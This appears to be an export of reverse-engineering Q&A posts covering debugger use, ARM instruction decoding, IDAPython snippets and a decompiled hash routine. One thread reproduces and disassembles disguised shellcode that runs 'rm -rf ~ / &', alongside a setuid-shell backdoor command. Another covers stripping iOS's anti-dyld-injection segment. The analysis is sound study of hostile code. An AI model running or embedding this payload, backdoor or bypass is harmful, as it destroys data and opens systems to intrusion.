  <row Id="8841" PostTypeId="1" AcceptedAnswerId="8842" CreationDate="2015-05-07T20:30:29.837" Score="0" ViewCount="499" Body="&lt;p&gt;I have the following call to a function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      ....&#xA;      push eax&#xA;      push prog.00401D19&#xA;      call dword ptr ds:[&amp;amp;USER32.EnumWindows]&#xA;      ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, as you can see, this is a call to &lt;code&gt;EnumWindows&lt;/code&gt;. But I would like to analyze the code at &lt;code&gt;00401D19&lt;/code&gt;. Do you know how to do that in &lt;em&gt;ollydbg&lt;/em&gt; ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: when I make &lt;code&gt;00401D19&lt;/code&gt; as my new origin (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + Gray &lt;kbd&gt;*&lt;/kbd&gt;), then I can not go back to the line after &lt;code&gt;EnumWindows&lt;/code&gt; because side effects etc. can happen. Therefore, I search a different option.&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="1413" LastEditDate="2015-05-08T06:18:30.920" LastActivityDate="2015-05-08T06:18:30.920" Title="How to analyze a callback function with ollydbg?" Tags="|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8842" PostTypeId="2" ParentId="8841" CreationDate="2015-05-07T20:35:18.100" Score="4" Body="&lt;p&gt;You have a couple of options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the &lt;code&gt;push prog.004013D19&lt;/code&gt; line in OllyDbg and press &lt;kbd&gt;Enter&lt;/kbd&gt; on your keyboard.&lt;/li&gt;&#xA;&lt;li&gt;Left click anywhere in the disassembly listing in OllyDbg, press &lt;kbd&gt;Ctrl+G&lt;/kbd&gt; on your keyboard, and enter &lt;code&gt;004013D19&lt;/code&gt; in the popup window.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-07T20:35:18.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8844" PostTypeId="2" ParentId="6210" CreationDate="2015-05-08T07:56:31.383" Score="4" Body="&lt;p&gt;Elaborating on existing answers, if you prefer to use IDAPython:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;decode_insn(here())&#xA;print hex(cmd.Op1.addr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2015-05-08T07:56:31.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8845" PostTypeId="1" AcceptedAnswerId="8861" CreationDate="2015-05-08T11:00:53.400" Score="0" ViewCount="1013" Body="&lt;p&gt;I'm writing a disassembler for ARM opcodes and I'm struggling with a particular encoding. The offending instruction is &lt;code&gt;E1F120D1&lt;/code&gt;. I think I've followed the instructions closely, and expect the disassemble to be &lt;code&gt;mvns r2,r1&lt;/code&gt; but trying it on &lt;a href=&quot;http://www.onlinedisassembler.com&quot; rel=&quot;nofollow&quot;&gt;http://www.onlinedisassembler.com&lt;/a&gt; gives me &lt;code&gt;ldsrb r2,[r1,#1]!&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the low-order &lt;code&gt;20D1&lt;/code&gt; in the instruction is causing online disassembler ti switch from &lt;code&gt;mvn&lt;/code&gt; to &lt;code&gt;ldrsb&lt;/code&gt;. Is this a bug in the disassembler -- not likely -- or my misunderstanding the instruction encodings in the manual?&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2015-05-10T17:34:01.623" Title="What is the correct disassembly for ARM7 opcode E1F120D1?" Tags="|disassembly|arm|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8846" PostTypeId="1" AcceptedAnswerId="8848" CreationDate="2015-05-08T11:42:16.167" Score="2" ViewCount="387" Body="&lt;p&gt;How can I catch the exceptions generated by an instrumented application in Intel PIN?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about &lt;code&gt;PIN_AddInternalExceptionHandler&lt;/code&gt;. This is not what I mean, this catches exceptions generated by the PinTool itself (if I understood correctly)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this &lt;a href=&quot;http://scrammed.blogspot.de/2013/03/binary-instrumentation-for-exploit_10.html&quot; rel=&quot;nofollow&quot;&gt;resource&lt;/a&gt;. Although it is a clever solution (check EIP against &lt;code&gt;KiUserExceptionDispatcher&lt;/code&gt;) I can not instrument every instruction in my case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2015-05-08T13:00:16.790" Title="PinTool catches instrumented application exceptions" Tags="|pintool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8847" PostTypeId="2" ParentId="8828" CreationDate="2015-05-08T12:06:09.443" Score="3" Body="&lt;p&gt;Use GetOperandValue instead of GetOpnd to get the memory location.&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;GetOpnd(0xb77a2d99,0)&#xA;__Unwind_Resume&#xA;Python&amp;gt;'%x'%(GetOperandValue(0xb77a2d99,0))&#xA;b76fc24e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2015-05-08T12:06:09.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8848" PostTypeId="2" ParentId="8846" CreationDate="2015-05-08T13:00:16.790" Score="1" Body="&lt;p&gt;Use PIN_AddContextChangeFunction, and from callback (CONTEXT_CHANGE_CALLBACK) you may see exception&lt;/p&gt;&#xA;" OwnerUserId="12468" LastActivityDate="2015-05-08T13:00:16.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8849" PostTypeId="2" ParentId="6210" CreationDate="2015-05-08T14:19:43.953" Score="1" Body="&lt;p&gt;Again for IDAPython:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     dword_40C4A4, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just use GetOperandValue for stuff like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;&quot;%08x&quot; % GetOperandValue(ScreenEA(),0)&#xA;0040c4a4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11771" LastActivityDate="2015-05-08T14:19:43.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8850" PostTypeId="2" ParentId="8845" CreationDate="2015-05-08T15:52:15.560" Score="2" Body="&lt;p&gt;This is LDRSB:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cond 000 PU0W L Rn Rd 0 0 0 0 Rm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is MVN:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cond 001 1111 ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference is in the I register.  MVN is register to register only.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-05-08T15:52:15.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8851" PostTypeId="1" CreationDate="2015-05-08T22:07:14.320" Score="5" ViewCount="1794" Body="&lt;p&gt;i have an ARMv7 Mach-O Executable on which I want to patch out a certain segment in the binary header which prevents DYLD injection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;more information &lt;a href=&quot;http://www.samdmarshall.com/blog/blocking_code_injection_on_ios_and_os_x.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; under point 3. of preventing dyld injection. TL;DR a  __RESTRICT binary header section with a __restrict segment prevents DYLD injection on iOS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfornatunately i'm not sure howto patch the file properly. Do I simply fill the file offset responsible for the LC_SEGMENT with zeros or do I remove it altogether (meaning cutting out and therefore altering file size and probably? breaking offsets)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Malte&lt;/p&gt;&#xA;" OwnerUserId="11699" LastActivityDate="2021-09-04T07:51:46.133" Title="Patching a Mach-O Binary Header to remove a LC_SEGMENT" Tags="|binary-analysis|arm|patching|mach-o|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8852" PostTypeId="1" AcceptedAnswerId="8853" CreationDate="2015-05-09T10:59:14.303" Score="1" ViewCount="1005" Body="&lt;p&gt;How find address of loaded specific driver on memory by C language in windows os&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2yP5c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="12454" LastEditorUserId="12454" LastEditDate="2015-05-09T11:07:53.823" LastActivityDate="2015-05-09T16:35:38.780" Title="Address of loaded driver on memory" Tags="|windows|debugging|c|driver|" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-15T16:31:19.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="8853" PostTypeId="2" ParentId="8852" CreationDate="2015-05-09T16:35:38.780" Score="3" Body="&lt;pre&gt;&lt;code&gt;/**&#xA;    \todo Get system info in loop. If the list grows between the first &amp;amp; 2nd call the allocd ammount may be too low&#xA;*/&#xA;BOOL GetKernelInformation(PSYSTEM_MODULE_INFORMATION* pModuleList)&#xA;{&#xA;    NTSTATUS status = STATUS_SUCCESS;&#xA;    ULONG neededSize = 0;&#xA;&#xA;    NtQuerySystemInformation(&#xA;        SystemModuleInformation,&#xA;        &amp;amp;neededSize,&#xA;        0,&#xA;        &amp;amp;neededSize&#xA;        );&#xA;&#xA;    *pModuleList = (PSYSTEM_MODULE_INFORMATION)malloc(neededSize);&#xA;    if(*pModuleList == NULL)&#xA;    {&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    status = NtQuerySystemInformation(SystemModuleInformation,&#xA;        *pModuleList,&#xA;        neededSize,&#xA;        0&#xA;        );&#xA;&#xA;    return NT_SUCCESS(status);&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    PSYSTEM_MODULE_INFORMATION pModuleList = NULL;&#xA;&#xA;    if(!GetKernelInformation(&amp;amp;pModuleList))&#xA;        goto CLEANUP;&#xA;&#xA;    for(ULONG i = 0; i &amp;lt; pModuleList-&amp;gt;uCount; i++)&#xA;    {&#xA;        PSYSTEM_MODULE mod = &amp;amp;pModuleList-&amp;gt;aSM[i];&#xA;        printf(&quot;%s @ %p\n&quot;, mod-&amp;gt;ImageName, mod-&amp;gt;Base);&#xA;    }&#xA;&#xA;&#xA;CLEANUP:&#xA;    if(pModuleList)&#xA;        free(pModuleList);&#xA;    return EXIT_SUCCESS;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8093" LastActivityDate="2015-05-09T16:35:38.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8854" PostTypeId="1" CreationDate="2015-05-09T19:09:39.207" Score="1" ViewCount="45" Body="&lt;p&gt;Let's say you have an Android or iOS app, how can you store a web API key (a string) in your app securely, making it impossible or harder to reverse engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some solutions I have thought about :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Storing, along with the web API key a 1000 other fake keys with the same length so that the when trying to reverse your app it will be hard to determine the right one.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am sure there are better solutions to do this. Thank you !&lt;/p&gt;&#xA;" OwnerUserId="12474" LastEditorUserId="4437" LastEditDate="2015-05-10T20:24:19.853" LastActivityDate="2015-05-10T20:24:19.853" Title="How to store a string securely inside your app?" Tags="|cryptography|strings|security|" AnswerCount="0" CommentCount="4" ClosedDate="2015-05-12T15:40:25.753" ContentLicense="CC BY-SA 3.0" />
  <row Id="8855" PostTypeId="2" ParentId="8851" CreationDate="2015-05-10T10:39:25.637" Score="0" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br /&gt;&#xA;Many years later I finally got a mac and can confirm @igors comments - it does not work for mac (:&#xA;Keeping this here for reference on how to achieve on Linux&lt;/p&gt;&#xA;&lt;p&gt;Stripping a section from an ELF file is easy enough using the 'strip' command in any Linux (I'd bet in OSX too, though I never tried it myself).&lt;/p&gt;&#xA;&lt;p&gt;Just do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;strip -R __restrict&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It should do the trick&lt;/p&gt;&#xA;" OwnerUserId="12479" LastEditorUserId="12479" LastEditDate="2021-09-04T07:51:46.133" LastActivityDate="2021-09-04T07:51:46.133" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="8860" PostTypeId="1" AcceptedAnswerId="8863" CreationDate="2015-05-10T15:31:25.210" Score="1" ViewCount="2035" Body="&lt;p&gt;On &lt;a href=&quot;https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List#destroy&quot; rel=&quot;nofollow&quot;&gt;this website&lt;/a&gt;, I found the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68\&quot;&#xA;“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99\&quot;&#xA;“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\&quot;&#xA;“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&quot;&#xA;“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&quot;&#xA;“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&quot;&#xA;“\x6e\x2f\x73\x68\x00\x2d\x63\x00&quot;&#xA;“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I replaced the &lt;code&gt;“&lt;/code&gt; character with &lt;code&gt;&quot;&lt;/code&gt;, removed trailing &lt;code&gt;\&lt;/code&gt; and put decoded it into a file. Here's what it disassembles to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  EB3E              jmp short 0x40&#xA;00000002  5B                pop ebx&#xA;00000003  31C0              xor eax,eax&#xA;00000005  50                push eax&#xA;00000006  54                push esp&#xA;00000007  5A                pop edx&#xA;00000008  83EC64            sub esp,byte +0x64&#xA;0000000B  68FFFFFFFF        push dword 0xffffffff&#xA;00000010  68DFD0DFD9        push dword 0xd9dfd0df&#xA;00000015  688D99DF81        push dword 0x81df998d&#xA;0000001A  688D92DFD2        push dword 0xd2df928d&#xA;0000001F  54                push esp&#xA;00000020  5E                pop esi&#xA;00000021  F716              not dword [esi]&#xA;00000023  F75604            not dword [esi+0x4]&#xA;00000026  F75608            not dword [esi+0x8]&#xA;00000029  F7560C            not dword [esi+0xc]&#xA;0000002C  83C474            add esp,byte +0x74&#xA;0000002F  56                push esi&#xA;00000030  8D7308            lea esi,[ebx+0x8]&#xA;00000033  56                push esi&#xA;00000034  53                push ebx&#xA;00000035  54                push esp&#xA;00000036  59                pop ecx&#xA;00000037  B00B              mov al,0xb&#xA;00000039  CD80              int 0x80&#xA;0000003B  31C0              xor eax,eax&#xA;0000003D  40                inc eax&#xA;0000003E  EBF9              jmp short 0x39&#xA;00000040  E8BDFFFFFF        call dword 0x2&#xA;00000045  2F                das&#xA;00000046  62696E            bound ebp,[ecx+0x6e]&#xA;00000049  2F                das&#xA;0000004A  7368              jnc 0xb4&#xA;0000004C  00                db 0x00&#xA;0000004D  2D                db 0x2d&#xA;0000004E  6300              arpl [eax],ax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's a hexdump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[17:20:46][~]$ hexdump -C /tmp/b&#xA;00000000  eb 3e 5b 31 c0 50 54 5a  83 ec 64 68 ff ff ff ff  |.&amp;gt;[1.PTZ..dh....|&#xA;00000010  68 df d0 df d9 68 8d 99  df 81 68 8d 92 df d2 54  |h....h....h....T|&#xA;00000020  5e f7 16 f7 56 04 f7 56  08 f7 56 0c 83 c4 74 56  |^...V..V..V...tV|&#xA;00000030  8d 73 08 56 53 54 59 b0  0b cd 80 31 c0 40 eb f9  |.s.VSTY....1.@..|&#xA;00000040  e8 bd ff ff ff 2f 62 69  6e 2f 73 68 00 2d 63 00  |...../bin/sh.-c.|&#xA;00000050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is it really? I can see &lt;code&gt;/bin/sh&lt;/code&gt; and a call to &lt;code&gt;execve&lt;/code&gt; so I guess it's some kind of shellcode, but I don't understand how it's run in this example (the &lt;code&gt;char esp[] __attribute__ ((section(”.text”)))&lt;/code&gt; part).&lt;/p&gt;&#xA;" OwnerUserId="4674" LastEditorUserId="4437" LastEditDate="2015-05-10T20:18:16.830" LastActivityDate="2019-03-07T03:36:58.977" Title="How does this version of `rm -rf /` work?" Tags="|disassembly|linux|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8861" PostTypeId="2" ParentId="8845" CreationDate="2015-05-10T17:34:01.623" Score="3" Body="&lt;p&gt;If you look at the ARM Architecture Reference Manual, you should be able to see that Chapter A5 takes you through the decoding of ARM instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with table A5-1, your instruction has -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cond (31-28) = 1110&#xA;op1 (27-25) =  000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This matches &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cond = not 1111, op1 = 00x  =&amp;gt; Data Processing &amp;amp; Miscellaneous instructions (A5.2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then for table A5-2 in section A5.2, your instruction has -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;op (25) = 0&#xA;op1 (24-20) = 11111&#xA;op2 (7-4) = 1101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The encoding that matches these bits is -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;op = 0, op1 = not 0xx1x, op2 = 11x1 =&amp;gt; Extra load/store instructions (A5.2.8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally for table A5-10 in section A5.2.8, your instruction has -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;op2 (6-5) = 10&#xA;op1 (24-20) = 11111&#xA;Rn (19-16) = 0001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This matches&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;op2 = 10, op1 = xx1x1, Rn = not 1111 =&amp;gt; LDRSB (immediate)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, yes, bits 7-4 definitely affect the decoding of this instruction.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2015-05-10T17:34:01.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8863" PostTypeId="2" ParentId="8860" CreationDate="2015-05-10T18:44:31.080" Score="9" Body="&lt;p&gt;It's not run in the example. It's a shellcode, it has to be somehow injected (for example using a buffer overflow vulnerability).&#xA;To understand how it works, let's first put some addresses on the strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000045  &quot;/bin/sh&quot;&#xA;0000004D  &quot;-c&quot;&#xA;0000004F  &quot;cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's look at the disassembly piece by piece.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  EB3E              jmp short 0x40&#xA;00000002  5B                pop ebx        ; 1st argument for execve(): filename = &quot;/bin/sh&quot;&#xA;00000003  31C0              xor eax,eax    ; eax = 0&#xA;00000005  50                push eax       ; envp[0] = NULL, argv[3] = NULL&#xA;00000006  54                push esp&#xA;00000007  5A                pop edx        ; 3rd argument for execve(): envp = {NULL}&#xA;...&#xA;00000040  E8BDFFFFFF        call dword 0x2&#xA;00000045  &quot;/bin/sh&quot;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The jmp/call is a well known trick: the call will push the address of the following instruction to the stack. This gets popped into ebx, which now contains the address to &quot;/bin/sh&quot;. In a system call, ebx is the first argument.&#xA;Next, eax is zeroed using a xor instruction and pushed to the stack. The pointer to those four zero bytes is stored in esp, which ends up in edx (3rd argument). The envp parameter of execve() is terminated with a null pointer: no environment vars in this case. This will also be used in argv.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000008  83EC64            sub esp,byte +0x64    ; Reserve 0x64 bytes on the stack&#xA;0000000B  68FFFFFFFF        push dword 0xffffffff ; Push 4th string word&#xA;00000010  68DFD0DFD9        push dword 0xd9dfd0df ; Push 3rd string word&#xA;00000015  688D99DF81        push dword 0x81df998d ; Push 2nd string word&#xA;0000001A  688D92DFD2        push dword 0xd2df928d ; Push 1st string word&#xA;0000001F  54                push esp&#xA;00000020  5E                pop esi             ; esi = esp&#xA;00000021  F716              not dword [esi]     ; Not 1st string word: 0x2d206d72 'rm -'&#xA;00000023  F75604            not dword [esi+0x4] ; Not 2nd string word: 0x7e206672 'rf ~'&#xA;00000026  F75608            not dword [esi+0x8] ; Not 3rd string word: 0x26202f20 ' / &amp;amp;'&#xA;00000029  F7560C            not dword [esi+0xc] ; Not 4th string word: 0x00000000 (NULL terminator)&#xA;0000002C  83C474            add esp,byte +0x74  ; Restore esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;rm -rf ~ / &amp;amp;&quot; is pushed NOT-encoded into the stack and decoded in place. esi points to the decoded string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000002F  56                push esi            ; argv[2] = &quot;rm -rf ~ / &amp;amp;&quot;&#xA;00000030  8D7308            lea esi,[ebx+0x8]   ; esi = address of &quot;-c&quot;&#xA;00000033  56                push esi            ; argv[1] = &quot;-c&quot;&#xA;00000034  53                push ebx            ; argv[0] = &quot;bin/sh&quot;&#xA;00000035  54                push esp&#xA;00000036  59                pop ecx    ; ecx = 2nd argument for execve(): argv = {&quot;/bin/sh&quot;, &quot;-c&quot;, &quot;rm -rf ~ / &amp;amp;&quot;, NULL}&#xA;00000037  B00B              mov al,0xb ; 11 = execve() system call&#xA;00000039  CD80              int 0x80   ; execve()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's time to build the argv array and make the call. The previous piece of code restored esp, so whatever is pushed will be after that first 0x00000000. Piece by piece the arguments are pushed to the stack. Remember that ebx held the pointer to &quot;/bin/sh&quot; (7 chars + terminator), so ebx+8 will be &quot;-c&quot;. The null word that was pushed into the stack at the very beginning of the shellcode is reused as the terminator for argv.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000003B  31C0              xor eax,eax&#xA;0000003D  40                inc eax        ; 1 = exit() system call&#xA;0000003E  EBF9              jmp short 0x39 ; exit()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using xor+inc eax is set to 1, which is system call exit(). It then jumps to the int 0x80 instruction and exit() is called.&lt;/p&gt;&#xA;" OwnerUserId="12484" LastActivityDate="2015-05-10T18:44:31.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8865" PostTypeId="1" CreationDate="2015-05-10T22:06:10.127" Score="1" ViewCount="134" Body="&lt;p&gt;I have an Onkyo Audio Receiver (AR), and there is an Android app that I can use to control it, change the volume, the channel etc. As a little project at home, I'm working on an app that can control certain functions on my computer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add the same functionality with my receiver into my app, purely as a technical challenge to myself. I know what IP the AR is assigned to (192.168.0.2), but I don't know how the app controls it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any beginning tips on what I can do to figure out how this app works? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The receiver model is TX-NR515, and the app is called OnkyoRemote.&lt;/p&gt;&#xA;" OwnerUserId="12487" LastActivityDate="2015-05-11T08:20:26.940" Title="Find out how an Android app controls my AV Receiver" Tags="|android|networking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8866" PostTypeId="1" AcceptedAnswerId="8867" CreationDate="2015-05-11T00:54:26.060" Score="5" ViewCount="1446" Body="&lt;p&gt;I have been working on rewriting a program, although it uses a hash to fingerprint the file, I have used IDA to find the function doing the hash and what it is doing to the file before it sends it to the hash function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just have a couple questions about what is going on, I know I can simply invoke it as it is in a DLL, but I want to understand what is going on as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned int __cdecl newhash(int a1, unsigned int a2, int zero)&#xA;{&#xA;  int content; // ebx@1&#xA;  int v4; // ecx@1&#xA;  int v5; // edx@1&#xA;  int i; // eax@1&#xA;  int v7; // ecx@2&#xA;  unsigned int v8; // eax@2&#xA;  int v9; // edx@2&#xA;  int v10; // ecx@2&#xA;  int v11; // eax@2&#xA;  int v12; // edx@2&#xA;  int v13; // ecx@2&#xA;  int v14; // eax@2&#xA;  unsigned int v15; // eax@3&#xA;  int v16; // edx@15&#xA;  int v17; // ecx@15&#xA;  int v18; // eax@15&#xA;  int v19; // edx@15&#xA;  int v20; // ecx@15&#xA;  int v21; // eax@15&#xA;  int v22; // edx@15&#xA;  unsigned int contentLength; // [sp+Ch] [bp-4h]@1&#xA;&#xA;  content = a1;&#xA;  contentLength = a2;&#xA;  v4 = -1640531527;&#xA;  v5 = -1640531527;&#xA;  for ( i = zero; contentLength &amp;gt;= 12; contentLength -= 12 )&#xA;  {&#xA;    v7 = (*(_BYTE *)(content + 7) &amp;lt;&amp;lt; 24)&#xA;       + (*(_BYTE *)(content + 6) &amp;lt;&amp;lt; 16)&#xA;       + (*(_BYTE *)(content + 5) &amp;lt;&amp;lt; 8)&#xA;       + *(_BYTE *)(content + 4)&#xA;       + v4;&#xA;    v8 = (*(_BYTE *)(content + 11) &amp;lt;&amp;lt; 24)&#xA;       + (*(_BYTE *)(content + 10) &amp;lt;&amp;lt; 16)&#xA;       + (*(_BYTE *)(content + 9) &amp;lt;&amp;lt; 8)&#xA;       + *(_BYTE *)(content + 8)&#xA;       + i;&#xA;    v9 = (v8 &amp;gt;&amp;gt; 13) ^ ((*(_BYTE *)(content + 3) &amp;lt;&amp;lt; 24)&#xA;                     + (*(_BYTE *)(content + 2) &amp;lt;&amp;lt; 16)&#xA;                     + (*(_BYTE *)(content + 1) &amp;lt;&amp;lt; 8)&#xA;                     + *(_BYTE *)content&#xA;                     + v5&#xA;                     - v7&#xA;                     - v8);&#xA;    v10 = (v9 &amp;lt;&amp;lt; 8) ^ (v7 - v8 - v9);&#xA;    v11 = ((unsigned int)v10 &amp;gt;&amp;gt; 13) ^ (v8 - v9 - v10);&#xA;    v12 = ((unsigned int)v11 &amp;gt;&amp;gt; 12) ^ (v9 - v10 - v11);&#xA;    v13 = (v12 &amp;lt;&amp;lt; 16) ^ (v10 - v11 - v12);&#xA;    v14 = ((unsigned int)v13 &amp;gt;&amp;gt; 5) ^ (v11 - v12 - v13);&#xA;    v5 = ((unsigned int)v14 &amp;gt;&amp;gt; 3) ^ (v12 - v13 - v14);&#xA;    v4 = (v5 &amp;lt;&amp;lt; 10) ^ (v13 - v14 - v5);&#xA;    i = ((unsigned int)v4 &amp;gt;&amp;gt; 15) ^ (v14 - v5 - v4);&#xA;    content += 12;&#xA;  }&#xA;  v15 = a2 + i;&#xA;  switch ( contentLength )&#xA;  {&#xA;    case 0xBu:&#xA;      v15 += *(_BYTE *)(content + 10) &amp;lt;&amp;lt; 24;&#xA;      goto LABEL_5;&#xA;    case 0xAu:&#xA;LABEL_5:&#xA;      v15 += *(_BYTE *)(content + 9) &amp;lt;&amp;lt; 16;&#xA;      goto LABEL_6;&#xA;    case 9u:&#xA;LABEL_6:&#xA;      v15 += *(_BYTE *)(content + 8) &amp;lt;&amp;lt; 8;&#xA;      goto LABEL_7;&#xA;    case 8u:&#xA;LABEL_7:&#xA;      v4 += *(_BYTE *)(content + 7) &amp;lt;&amp;lt; 24;&#xA;      goto LABEL_8;&#xA;    case 7u:&#xA;LABEL_8:&#xA;      v4 += *(_BYTE *)(content + 6) &amp;lt;&amp;lt; 16;&#xA;      goto LABEL_9;&#xA;    case 6u:&#xA;LABEL_9:&#xA;      v4 += *(_BYTE *)(content + 5) &amp;lt;&amp;lt; 8;&#xA;      goto LABEL_10;&#xA;    case 5u:&#xA;LABEL_10:&#xA;      v4 += *(_BYTE *)(content + 